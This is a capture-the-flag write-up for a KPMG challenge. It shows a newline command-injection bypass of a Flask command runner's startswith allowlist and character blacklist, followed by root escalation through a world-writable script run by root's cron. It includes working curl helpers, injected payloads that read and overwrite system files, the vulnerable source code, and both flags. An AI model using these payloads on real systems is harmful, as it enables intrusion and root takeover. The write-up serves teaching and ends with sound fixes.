Healthy Hijack 1: Command Injection + World‑Writable Root Cron

User flag: KPMG_CTF{PdkuYmb2wfdxi-8DFoluai6zBYffly128cdWlo1P20dY} Root flag: KPMG_CTF{da093434a1110fe18aad1fe4867aae1a}

Target: http://kicyber-6f84ae64af41-healthyhijack-0-0.chals.io Category: Infra / command-injection filter bypass → privilege escalation to root Hint (from KPMG CTF): “The application allows execution of limited network commands with strict filtering in place. Or so it seems… Explore the system, identify weaknesses, and escalate your privileges to root.”

Overview

A Flask “Safe Command Runner” runs only ping, traceroute, nslookup, with a blacklist that strips shell metacharacters. Two flaws chain to full root:

  1. Command-injection filter bypass: the allowlist is a startswith check and the sanitizer strips ; & | \ $( <, but **not newlines**. A newline after an allowed command runs arbitrary commands as appuser`.
  2. “Healthy Hijack” privesc: a root cron executes /opt/healthcheck.sh every ~10 seconds, and that script is world-writable (-rwxrwxrwx). Overwrite it → code execution as root → read /root/root.txt.

Recon

The app (Werkzeug/Flask) posts cmd to /run. Only network commands are accepted:

base="https://kicyber-6f84ae64af41-healthyhijack-0-0.chals.io"
run(){ curl -s "$base/run" --data-urlencode "cmd=$1"; }
run "id"                    # Command not allowed
run "ping -c 1 127.0.0.1"   # runs ping (no cap_net_raw, but executes)

Allowed commands probe → ping, traceroute, nslookup (curl/wget/nc/dig/host blocked).

Finding the bypass

Inline chaining is stripped/blocked, but a newline is not:

# ; && | $() ` all fail or are neutralised, BUT:
printf 'ping -c 1 127.0.0.1\nid' | ...   # -> uid=1000(appuser) gid=1000(appuser)

So the payload shape is: first line is an allowed command (passes startswith), and every following line runs as its own command. Helper used throughout:

multi(){ curl -s "$base/run" --data-urlencode \
  "cmd=$(printf 'ping -c 1 127.0.0.1\n%s' "$1")" \
  | sed -n '/color:#0f0/,/Back/p' | sed 's/<[^>]*>//g' | grep -vE 'ping:|^\s*$|Back'; }
multi 'id'   # uid=1000(appuser) ...

Source confirms it

multi 'cat /app/app.py':

ALLOWED_COMMANDS = ["ping", "traceroute", "nslookup"]
def is_allowed(cmd):
    return any(cmd.startswith(c) for c in ALLOWED_COMMANDS)
def sanitize(user_input):
    blacklist = [";", "&", "|", "`", "$(","<"]
    for b in blacklist:
        user_input = user_input.replace(b, "")
    return user_input

startswith only guards the first token, the blacklist omits \n (and >), and the result is run through a shell → newline injection = RCE as appuser.

User flag

multi 'cat /home/appuser/user.txt'
# KPMG_CTF{PdkuYmb2wfdxi-8DFoluai6zBYffly128cdWlo1P20dY}

Privilege escalation (SOLVED)

entrypoint.sh and /etc/crontab reveal the root vector:

multi 'cat /etc/crontab'
* * * * * root /opt/healthcheck.sh
* * * * * root sleep 10 && /opt/healthcheck.sh
* * * * * root sleep 20 && /opt/healthcheck.sh
* * * * * root sleep 30 && /opt/healthcheck.sh
* * * * * root sleep 40 && /opt/healthcheck.sh
* * * * * root sleep 50 && /opt/healthcheck.sh
* * * * * root find /tmp -perm /4000 -delete      # only nukes SUID files in /tmp

/opt/healthcheck.sh runs as root every ~10 s, and it’s world-writable:

multi 'ls -la /opt/healthcheck.sh'
# -rwxrwxrwx 1 root root 58 ... /opt/healthcheck.sh

Overwrite it to copy the root flag somewhere readable. Only <,;,&,|,backtick,$( are stripped (> is allowed), so write the file with printf '…' >:

multi "printf '#!/bin/sh\ncp /root/root.txt /tmp/rf.txt\nchmod 777 /tmp/rf.txt\n' > /opt/healthcheck.sh"
multi 'cat /opt/healthcheck.sh'
# #!/bin/sh
# cp /root/root.txt /tmp/rf.txt
# chmod 777 /tmp/rf.txt

Wait one cron tick, then read the exfiltrated flag (the find /tmp -perm /4000 -delete cron only deletes SUID binaries, so a plain .txt survives):

until multi 'cat /tmp/rf.txt' | grep -q KPMG_CTF; do sleep 8; done
multi 'cat /tmp/rf.txt'
# KPMG_CTF{da093434a1110fe18aad1fe4867aae1a}

Root flag: KPMG_CTF{da093434a1110fe18aad1fe4867aae1a}

Why it works

  • startswith allowlisting validates only the beginning of the input; everything after a newline is ignored by the check but still executed by the shell.
  • Blacklist sanitization is incomplete: it never accounts for newlines (or >), so command separation and output redirection remain available.
  • A privileged scheduled task runs a world-writable script. Anything appuser writes to /opt/healthcheck.sh executes as root within ~10 seconds.

Root cause & fix

  • Don’t shell out to user input. If a fixed set of network tools must be offered, invoke them with subprocess.run([...], shell=False) and an explicit argv; validate the target with a strict regex (and never pass the raw string to a shell).
  • Allowlist by exact match, not startswith, and reject any input containing control characters/newlines. Blacklists are the wrong model.
  • Never leave a root-scheduled script world-writable. /opt/healthcheck.sh should be root:root 755 (or 700); scripts run by cron as root must not be writable by the app user.
  • Run the app in a least-privilege container; don’t co-locate a readable root flag with a trivially hijackable root cron.

Takeaways

  • When a “command runner” filters metacharacters, try newlines (and %0a); they bypass both startswith-style allowlists and metachar blacklists, and shells treat each line as a command.
  • After getting a shell, read /etc/crontab + /etc/cron.d and ls -la anything a root cron runs. A world-writable root-run script is instant privesc.
  • Note what cleanup jobs do: the find /tmp -perm /4000 -delete here only kills SUID files, so exfiltrating via a normal /tmp/*.txt is safe.